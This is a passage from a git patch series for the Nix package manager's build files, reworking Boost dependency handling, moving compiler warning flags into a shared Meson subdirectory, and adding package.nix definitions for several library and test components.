-  '-Werror=switch-enum',
-  '-Werror=unused-result',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'tests/hash.cc',
   'tests/string_callback.cc',
diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build
index 8d9d32151df..43001ca6821 100644
--- a/src/libutil-test/meson.build
+++ b/src/libutil-test/meson.build
@@ -38,22 +38,11 @@ add_project_arguments(
   # It would be nice for our headers to be idempotent instead.
   '-include', 'config-util.hh',
   '-include', 'config-util.h',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Werror=unused-result',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'args.cc',
   'canon-path.cc',
diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index 317b06da03a..7a4dfaf50ec 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
@@ -111,22 +111,11 @@ add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.
   '-include', 'config-util.hh',
-  '-Wno-deprecated-declarations',
-  '-Wimplicit-fallthrough',
-  '-Werror=switch',
-  '-Werror=switch-enum',
-  '-Werror=unused-result',
-  '-Wdeprecated-copy',
-  '-Wignored-qualifiers',
-  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
-  # at ~1% overhead in `nix search`.
-  #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
 
+subdir('meson-utils/diagnostics')
+
 sources = files(
   'archive.cc',
   'args.cc',

From 0b539dea4a380235696db6265215a8cca0f33821 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 17:28:31 -0400
Subject: [PATCH 470/528] Improve boost hacks

---
 flake.nix                   |  6 +++---
 package.nix                 | 29 +--------------------------
 packaging/components.nix    | 17 ----------------
 packaging/dependencies.nix  | 13 +++++++++++++
 src/libcmd/network-proxy.cc |  5 +++--
 src/libexpr/package.nix     | 15 +-------------
 src/libstore/meson.build    |  2 +-
 src/libstore/package.nix    | 10 ----------
 src/libutil/meson.build     |  7 +------
 src/libutil/package.nix     | 39 ++-----------------------------------
 src/perl/package.nix        | 14 +------------
 11 files changed, 26 insertions(+), 131 deletions(-)

diff --git a/flake.nix b/flake.nix
index 582a946c42e..04fc94a5539 100644
--- a/flake.nix
+++ b/flake.nix
@@ -207,7 +207,7 @@
           #       https://github.com/NixOS/nixpkgs/issues/320448
           "static-" = nixpkgsFor.${system}.static;
         })
-        (nixpkgsPrefix: nixpkgs: 
+        (nixpkgsPrefix: nixpkgs:
           flatMapAttrs nixpkgs.nixComponents
             (pkgName: pkg:
               flatMapAttrs pkg.tests or {}
@@ -304,8 +304,8 @@
           env = {
             # Needed for Meson to find Boost.
             # https://github.com/NixOS/nixpkgs/issues/86131.
-            BOOST_INCLUDEDIR = "${lib.getDev pkgs.boost}/include";
-            BOOST_LIBRARYDIR = "${lib.getLib pkgs.boost}/lib";
+            BOOST_INCLUDEDIR = "${lib.getDev pkgs.nixDependencies.boost}/include";
+            BOOST_LIBRARYDIR = "${lib.getLib pkgs.nixDependencies.boost}/lib";
             # For `make format`, to work without installing pre-commit
             _NIX_PRE_COMMIT_HOOKS_CONFIG =
               "${(pkgs.formats.yaml { }).generate "pre-commit-config.yaml" modular.pre-commit.settings.rawConfig}";
diff --git a/package.nix b/package.nix
index 0661dc0806f..28d7e788fcc 100644
--- a/package.nix
+++ b/package.nix
@@ -199,7 +199,6 @@ in {
   ;
 
   buildInputs = lib.optionals doBuild [
-    boost
     brotli
     bzip2
     curl
@@ -227,33 +226,12 @@ in {
   ;
 
   propagatedBuildInputs = [
+    boost
     nlohmann_json
   ] ++ lib.optional enableGC boehmgc;
 
   dontBuild = !attrs.doBuild;
 
-  disallowedReferences = [ boost ];
-
-  preConfigure = lib.optionalString (doBuild && ! stdenv.hostPlatform.isStatic) (
-    ''
-      # Copy libboost_context so we don't get all of Boost in our closure.
-      # https://github.com/NixOS/nixpkgs/issues/45462
-      mkdir -p $out/lib
-      cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib
-      rm -f $out/lib/*.a
-    '' + lib.optionalString stdenv.hostPlatform.isLinux ''
-      chmod u+w $out/lib/*.so.*
-      patchelf --set-rpath $out/lib:${stdenv.cc.cc.lib}/lib $out/lib/libboost_thread.so.*
-    '' + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      for LIB in $out/lib/*.dylib; do
-        chmod u+w $LIB
-        install_name_tool -id $LIB $LIB
-        install_name_tool -delete_rpath ${boost}/lib/ $LIB || true
-      done
-      install_name_tool -change ${boost}/lib/libboost_system.dylib $out/lib/libboost_system.dylib $out/lib/libboost_thread.dylib
-    ''
-  );
-
   configureFlags = [
     (lib.enableFeature doBuild "build")
     (lib.enableFeature doInstallCheck "functional-tests")
@@ -295,11 +273,6 @@ in {
     lib.optionalString stdenv.hostPlatform.isStatic ''
       mkdir -p $out/nix-support
       echo "file binary-dist $out/bin/nix" >> $out/nix-support/hydra-build-products
-    '' + lib.optionalString stdenv.isDarwin ''
-      install_name_tool \
-      -change ${boost}/lib/libboost_context.dylib \
-      $out/lib/libboost_context.dylib \
-      $out/lib/libnixutil.dylib
     ''
   ) + lib.optionalString enableManual ''
     mkdir -p ''${!outputDoc}/nix-support
diff --git a/packaging/components.nix b/packaging/components.nix
index 0189f4ca3b7..97b989f1f21 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -26,23 +26,6 @@ in
   nix-expr-test = callPackage ../src/libexpr-test/package.nix { };
   nix-expr-c = callPackage ../src/libexpr-c/package.nix { };
 
-  nix-flake = callPackage ../src/libflake/package.nix { };
-  nix-flake-c = callPackage ../src/libflake-c/package.nix { };
-
-  nix-store = callPackage ../src/libstore/package.nix { };
-  nix-store-test-support = callPackage ../src/libstore-test-support/package.nix { };
-  nix-store-test = callPackage ../src/libstore-test/package.nix { };
-  nix-store-c = callPackage ../src/libstore-c/package.nix { };
-
-  nix-fetchers = callPackage ../src/libfetchers/package.nix { };
-  nix-fetchers-test = callPackage ../src/libfetchers-test/package.nix { };
-  nix-fetchers-c = callPackage ../src/libfetchers-c/package.nix { };
-
-  nix-expr = callPackage ../src/libexpr/package.nix { };
-  nix-expr-test-support = callPackage ../src/libexpr-test-support/package.nix { };
-  nix-expr-test = callPackage ../src/libexpr-test/package.nix { };
-  nix-expr-c = callPackage ../src/libexpr-c/package.nix { };
-
   nix-flake = callPackage ../src/libflake/package.nix { };
 
   nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { };
diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix
index 484385128bb..b2349f02ca6 100644
--- a/packaging/dependencies.nix
+++ b/packaging/dependencies.nix
@@ -52,6 +52,19 @@ scope: {
     enableLargeConfig = true;
   };
 
+  # Hack until https://github.com/NixOS/nixpkgs/issues/45462 is fixed.
+  boost = (pkgs.boost.override {
+    extraB2Args = [
+      "--with-container"
+      "--with-context"
+      "--with-coroutine"
+    ];
+  }).overrideAttrs (old: {
+    # Need to remove `--with-*` to use `--with-libraries=...`
+    buildPhase = pkgs.lib.replaceStrings [ "--without-python" ] [ "" ] old.buildPhase;
+    installPhase = pkgs.lib.replaceStrings [ "--without-python" ] [ "" ] old.installPhase;
+  });
+
   libgit2 = pkgs.libgit2.overrideAttrs (attrs: {
     src = inputs.libgit2;
     version = inputs.libgit2.lastModifiedDate;
diff --git a/src/libcmd/network-proxy.cc b/src/libcmd/network-proxy.cc
index 4b7d2441f3f..47be311cd1e 100644
--- a/src/libcmd/network-proxy.cc
+++ b/src/libcmd/network-proxy.cc
@@ -1,7 +1,6 @@
 #include "network-proxy.hh"
 
 #include <algorithm>
-#include <boost/algorithm/string.hpp>
 
 #include "environment-variables.hh"
 
@@ -13,7 +12,9 @@ static StringSet getAllVariables()
 {
     StringSet variables = lowercaseVariables;
     for (const auto & variable : lowercaseVariables) {
-        variables.insert(boost::to_upper_copy(variable));
+        std::string upperVariable;
+        std::transform(variable.begin(), variable.end(), upperVariable.begin(), [](unsigned char c) { return std::toupper(c); });
+        variables.insert(std::move(upperVariable));
     }
     return variables;
 }
diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix
index 223b0404231..799368ee94b 100644
--- a/src/libexpr/package.nix
+++ b/src/libexpr/package.nix
@@ -70,19 +70,14 @@ mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs = [
-    boost
-  ];
-
   propagatedBuildInputs = [
     nix-util
     nix-store
     nix-fetchers
+    boost
     nlohmann_json
   ] ++ lib.optional enableGC boehmgc;
 
-  disallowedReferences = [ boost ];
-
   preConfigure =
     # "Inline" .version so it's not a symlink, and includes the suffix
     ''
@@ -104,14 +99,6 @@ mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  postInstall =
-    # Remove absolute path to boost libs that ends up in `Libs.private`
-    # by default, and would clash with out `disallowedReferences`. Part
-    # of the https://github.com/NixOS/nixpkgs/issues/45462 workaround.
-    ''
-      sed -i "$out/lib/pkgconfig/nix-expr.pc" -e 's, ${lib.getLib boost}[^ ]*,,g'
-    '';
-
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
   # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index d2a5acb188d..2bc3f27e47f 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -400,6 +400,6 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-libraries_private = ['-lboost_container']
+libraries_private = []
 
 subdir('meson-utils/export')
diff --git a/src/libstore/package.nix b/src/libstore/package.nix
index f27dac2f693..5af1a781529 100644
--- a/src/libstore/package.nix
+++ b/src/libstore/package.nix
@@ -86,8 +86,6 @@ mkDerivation (finalAttrs: {
     nlohmann_json
   ];
 
-  disallowedReferences = [ boost ];
-
   preConfigure =
     # "Inline" .version so it's not a symlink, and includes the suffix
     ''
@@ -112,14 +110,6 @@ mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  postInstall =
-    # Remove absolute path to boost libs that ends up in `Libs.private`
-    # by default, and would clash with out `disallowedReferences`. Part
-    # of the https://github.com/NixOS/nixpkgs/issues/45462 workaround.
-    ''
-      sed -i "$out/lib/pkgconfig/nix-store.pc" -e 's, ${lib.getLib boost}[^ ]*,,g'
-    '';
-
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
   # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index 7a4dfaf50ec..5eee8b3b218 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
@@ -254,12 +254,7 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-# Part of how we copy boost libraries to a separate installation to
-# reduce closure size. These libraries will be copied to our `$out/bin`,
-# and these `-l` flags will pick them up there.
-#
-# https://github.com/NixOS/nixpkgs/issues/45462
-libraries_private = ['-lboost_context', '-lboost_coroutine']
+libraries_private = []
 if host_machine.system() == 'windows'
   # `libraries_private` cannot contain ad-hoc dependencies (from
   # `find_library), so we need to do this manually
diff --git a/src/libutil/package.nix b/src/libutil/package.nix
index 8ba6daa2a4b..ef5e251fb3f 100644
--- a/src/libutil/package.nix
+++ b/src/libutil/package.nix
@@ -65,7 +65,6 @@ mkMesonDerivation (finalAttrs: {
   ];
 
   buildInputs = [
-    boost
     brotli
     libsodium
     openssl
@@ -73,37 +72,17 @@ mkMesonDerivation (finalAttrs: {
   ;
 
   propagatedBuildInputs = [
-    boost.dev
+    boost
     libarchive
     nlohmann_json
   ];
 
-  disallowedReferences = [ boost ];
-
   preConfigure =
     # TODO: change release process to add `pre` in `.version`, remove it before tagging, and restore after.
     ''
       chmod u+w ./.version
       echo ${version} > ../../.version
-    ''
-    # Copy some boost libraries so we don't get all of Boost in our
-    # closure. https://github.com/NixOS/nixpkgs/issues/45462
-    + lib.optionalString (!stdenv.hostPlatform.isStatic) (''
-      mkdir -p $out/lib
-      cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib
-      rm -f $out/lib/*.a
-    '' + lib.optionalString stdenv.hostPlatform.isLinux ''
-      chmod u+w $out/lib/*.so.*
-      patchelf --set-rpath $out/lib:${stdenv.cc.cc.lib}/lib $out/lib/libboost_thread.so.*
-    '' + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      for LIB in $out/lib/*.dylib; do
-        chmod u+w $LIB
-        install_name_tool -id $LIB $LIB
-        install_name_tool -delete_rpath ${boost}/lib/ $LIB || true
-      done
-      install_name_tool -change ${boost}/lib/libboost_system.dylib $out/lib/libboost_system.dylib $out/lib/libboost_thread.dylib
-    ''
-  );
+    '';
 
   mesonFlags = [
     (lib.mesonEnable "cpuid" stdenv.hostPlatform.isx86_64)
@@ -120,20 +99,6 @@ mkMesonDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  postInstall =
-    # Remove absolute path to boost libs that ends up in `Libs.private`
-    # by default, and would clash with out `disallowedReferences`. Part
-    # of the https://github.com/NixOS/nixpkgs/issues/45462 workaround.
-    ''
-      sed -i "$out/lib/pkgconfig/nix-util.pc" -e 's, ${lib.getLib boost}[^ ]*,,g'
-    ''
-    + lib.optionalString stdenv.isDarwin ''
-      install_name_tool \
-      -change ${boost}/lib/libboost_context.dylib \
-      $out/lib/libboost_context.dylib \
-      $out/lib/libnixutil.dylib
-    '';
-
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
   # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
diff --git a/src/perl/package.nix b/src/perl/package.nix
index e1a84924c6b..6b84871487c 100644
--- a/src/perl/package.nix
+++ b/src/perl/package.nix
@@ -6,11 +6,6 @@
 , ninja
 , pkg-config
 , nix-store
-, curl
-, bzip2
-, xz
-, boost
-, libsodium
 , darwin
 , versionSuffix ? ""
 }:
@@ -45,14 +40,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
 
   buildInputs = [
     nix-store
-    curl
-    bzip2
-    xz
-    perl
-    boost
-  ]
-  ++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium
-  ++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security;
+  ];
 
   # `perlPackages.Test2Harness` is marked broken for Darwin
   doCheck = !stdenv.isDarwin;

From 92d3a06b252e0c373dc732eafbcb1fa40629f00e Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 17:30:31 -0400
Subject: [PATCH 471/528] Remove overrides of removed flags since unit tests
 broken out

---
 flake.nix | 2 --
 1 file changed, 2 deletions(-)

diff --git a/flake.nix b/flake.nix
index 04fc94a5539..ba526a9b882 100644
--- a/flake.nix
+++ b/flake.nix
@@ -145,9 +145,7 @@
           nix = final.nixComponents.nix;
 
           nix_noTests = final.nix.override {
-            doCheck = false;
             doInstallCheck = false;
-            installUnitTests = false;
           };
 
           # See https://github.com/NixOS/nixpkgs/pull/214409

From 429d6ae2b59912a7588804853e57711eb00962b6 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 17:44:34 -0400
Subject: [PATCH 472/528] Add missing package.nix

---
 src/libexpr-c/package.nix             |  94 +++++++++++++++++++++
 src/libexpr-test-support/package.nix  |  96 ++++++++++++++++++++++
 src/libexpr-test/package.nix          | 113 ++++++++++++++++++++++++++
 src/libstore-c/package.nix            |  94 +++++++++++++++++++++
 src/libstore-test-support/package.nix |  96 ++++++++++++++++++++++
 src/libstore-test/package.nix         | 113 ++++++++++++++++++++++++++
 src/libutil-c/package.nix             |   5 --
 src/libutil-test-support/package.nix  |   7 +-
 8 files changed, 607 insertions(+), 11 deletions(-)
 create mode 100644 src/libexpr-c/package.nix
 create mode 100644 src/libexpr-test-support/package.nix
 create mode 100644 src/libexpr-test/package.nix
 create mode 100644 src/libstore-c/package.nix
 create mode 100644 src/libstore-test-support/package.nix
 create mode 100644 src/libstore-test/package.nix

diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix
new file mode 100644
index 00000000000..ce86780c145
--- /dev/null
+++ b/src/libexpr-c/package.nix
@@ -0,0 +1,94 @@
+{ lib
+, stdenv
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-store-c
+, nix-expr
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+}:
+
+let
+  inherit (lib) fileset;
+
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-expr-c";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      ./meson.options
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+      (fileset.fileFilter (file: file.hasExt "h") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  propagatedBuildInputs = [
+    nix-store-c
+    nix-expr
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/src/libexpr-test-support/package.nix b/src/libexpr-test-support/package.nix
new file mode 100644
index 00000000000..cbc852fa507
--- /dev/null
+++ b/src/libexpr-test-support/package.nix
@@ -0,0 +1,96 @@
+{ lib
+, stdenv
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-store-test-support
+, nix-expr
+
+, rapidcheck
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+}:
+
+let
+  inherit (lib) fileset;
+
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-util-test-support";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      # ./meson.options
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  propagatedBuildInputs = [
+    nix-store-test-support
+    nix-expr
+    rapidcheck
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/src/libexpr-test/package.nix b/src/libexpr-test/package.nix
new file mode 100644
index 00000000000..7c8c9c4d16b
--- /dev/null
+++ b/src/libexpr-test/package.nix
@@ -0,0 +1,113 @@
+{ lib
+, stdenv
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-expr
+, nix-expr-c
+, nix-expr-test-support
+
+, rapidcheck
+, gtest
+, runCommand
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+}:
+
+let
+  inherit (lib) fileset;
+
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-expr-test";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      # ./meson.options
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    nix-expr
+    nix-expr-c
+    nix-expr-test-support
+    rapidcheck
+    gtest
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  passthru = {
+    tests = {
+      run = runCommand "${finalAttrs.pname}-run" {
+      } ''
+        PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
+        export _NIX_TEST_UNIT_DATA=${./data}
+        nix-expr-test
+        touch $out
+      '';
+    };
+  };
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/src/libstore-c/package.nix b/src/libstore-c/package.nix
new file mode 100644
index 00000000000..aedbad4a2f5
--- /dev/null
+++ b/src/libstore-c/package.nix
@@ -0,0 +1,94 @@
+{ lib
+, stdenv
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-util-c
+, nix-store
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+}:
+
+let
+  inherit (lib) fileset;
+
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-store-c";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      ./meson.options
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+      (fileset.fileFilter (file: file.hasExt "h") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  propagatedBuildInputs = [
+    nix-util-c
+    nix-store
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/src/libstore-test-support/package.nix b/src/libstore-test-support/package.nix
new file mode 100644
index 00000000000..a28f54e2a3e
--- /dev/null
+++ b/src/libstore-test-support/package.nix
@@ -0,0 +1,96 @@
+{ lib
+, stdenv
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-util-test-support
+, nix-store
+
+, rapidcheck
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+}:
+
+let
+  inherit (lib) fileset;
+
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-store-test-support";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      # ./meson.options
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  propagatedBuildInputs = [
+    nix-util-test-support
+    nix-store
+    rapidcheck
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/src/libstore-test/package.nix b/src/libstore-test/package.nix
new file mode 100644
index 00000000000..b57adfea5f7
--- /dev/null
+++ b/src/libstore-test/package.nix
@@ -0,0 +1,113 @@
+{ lib
+, stdenv
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-store
+, nix-store-c
+, nix-store-test-support
+
+, rapidcheck
+, gtest
+, runCommand
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with at least
